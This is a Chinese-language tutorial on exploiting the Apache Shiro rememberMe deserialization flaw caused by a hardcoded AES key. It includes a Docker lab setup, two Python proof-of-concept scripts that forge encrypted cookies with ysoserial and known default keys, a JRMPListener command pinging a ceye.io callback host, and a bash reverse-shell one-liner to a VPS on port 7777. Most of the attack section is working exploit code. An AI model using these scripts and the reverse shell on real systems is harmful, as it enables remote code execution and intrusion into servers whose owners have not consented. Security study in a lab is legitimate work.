shiro反序列化漏洞

什么是Apache Shiro?

1
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

环境准备

1
2
3
4
5
vulhub docker漏洞环境搭建
# 拉取环境到本地
docker pull medicean/vulapps:s_shiro_1
# 启动环境
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

反序列化原理介绍

1
2
3
4
5
6
7
8
9
shiro在登录处提供了Remember Me这个功能,来记录用户登录的凭证

shiro使用了CookieRememberMeManager类对用户的登录凭证,也就是remember Me的内容进行一系列处理:
使用Java序列化 ---> 使用密钥进行AES加密 ---> Base64加密 ---> 得到加密后的remember Me内容

在识别用户身份的时候,需要对remember Me的字段进行解密,解密的顺序为:
remember Me加密内容 ---> Base64解密 ---> 使用密钥进行AES解密 --->Java反序列化

问题出在AES加密的密钥Key被硬编码在代码里,这意味着攻击者只要通过源代码找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化,AES加密,Base64编码,然后将其作为cookie的remember Me字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

picture

POC_1检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
# coding:utf-8

from Crypto.Cipher import AES
import traceback
import requests
import subprocess
import uuid
import base64

target = "http://172.100.30.142:8080/"
jar_file = './ysoserial.jar'
#cipher_key = "4AvVhmFLUs0KTA3Kprsdag=="
cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="
# 创建 rememberme的值
popen = subprocess.Popen(['java','-jar',jar_file, "URLDNS", "http://ceye.io/"],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(cipher_key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

# 发送request
try:
r = requests.get(target, cookies={'rememberMe':base64_ciphertext.decode()}, timeout=10)
except:
traceback.print_exc()

dnslog

http://ceye.io/records/dns

picture

POC_2检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#coding: utf-8

import os
import re
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES

JAR_FILE = './ysoserial.jar'

def poc(url, rce_command):
if '://' not in url:
target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:
target = url
try:
payload = generator(rce_command, JAR_FILE) # 生成payload
print payload
print payload.decode()
r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10) # 发送验证请求
print r.text
except Exception, e:
print(e)
pass
return False

def generator(command, fp):
if not os.path.exists(fp):
raise Exception('jar file not found!')
popen = subprocess.Popen(['java', '-jar', fp, 'JRMPClient', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
# key = "4AvVhmFLUs0KTA3Kprsdag=="
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

poc('http://192.168.50.219:8080/', 'VPS:23333') #ip是自己用来监听的服务器IP,端口是JRMPListener端口。

服务器监听命令:

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 23333 CommonsCollections5 "ping g0fws2.ceye.io"

picture

反序列化EXP

1
2
3
4
5
6
这里使用POC_2的脚本
利用ysoserial将bash脚本写入到sh文件
注意需要将bash进行编码:http://www.jackson-t.ca/runtime-exec-payloads.html

echo 'bash -c "bash -i >&/dev/tcp/vps/7777 0>&1"' >> shell.sh
sh shell.sh